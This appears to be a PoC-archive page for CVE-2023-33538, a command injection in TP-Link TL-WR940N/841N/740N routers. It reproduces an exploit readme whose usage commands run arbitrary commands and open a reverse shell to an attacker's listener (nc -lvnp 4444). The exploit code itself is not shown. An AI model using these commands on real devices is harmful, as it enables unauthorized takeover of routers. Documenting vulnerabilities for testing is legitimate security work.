Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1336 CNY

100%

CVE-2023-33538 PoC — TP-Link wireless router 命令注入漏洞

Source
Associated Vulnerability
Title:TP-Link wireless router 命令注入漏洞 (CVE-2023-33538)
Description:TP-Link TL-WR940N V2/V4, TL-WR841N V8/V10, and TL-WR740N V1/V2 was discovered to contain a command injection vulnerability via the component /userRpm/WlanNetworkRpm .
Description
Python Exploit for TP-Link TL-WR940N/TL-WR841N Command Injection Vulnerability
Readme
# Python Exploit for TP-Link TL-WR940N/TL-WR841N Command Injection Vulnerability


## Usage Instructions

1. **Basic Vulnerability Check**:
   ```
   python tplink_exploit.py -t 192.168.1.1 -u admin -p admin
   ```

2. **Execute Custom Command**:
   ```
   python tplink_exploit.py -t 192.168.1.1 -u admin -p admin -c "your_command_here"
   ```

3. **Reverse Shell** (set up listener first with `nc -lvnp 4444`):
   ```
   python tplink_exploit.py -t 192.168.1.1 -u admin -p admin --lhost YOUR_IP --lport 4444
   ```

**Important Notes**:
- These scripts are for educational and testing purposes only
- Always get proper authorization before testing any system
- The reboot command is used as default because it's non-destructive and easily verifiable
- The reverse shell may not work on all firmware versions as it depends on available binaries
- Some firmware versions require a random path in the URL which the script attempts to detect automatically

The vulnerability exists due to improper input sanitization in the `ssid1` parameter of the `/userRpm/WlanNetworkRpm.htm` endpoint, allowing command injection through specially crafted requests.
File Snapshot

Log in to view the POC file snapshot cached by Shenlong Bot

Log in to view
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →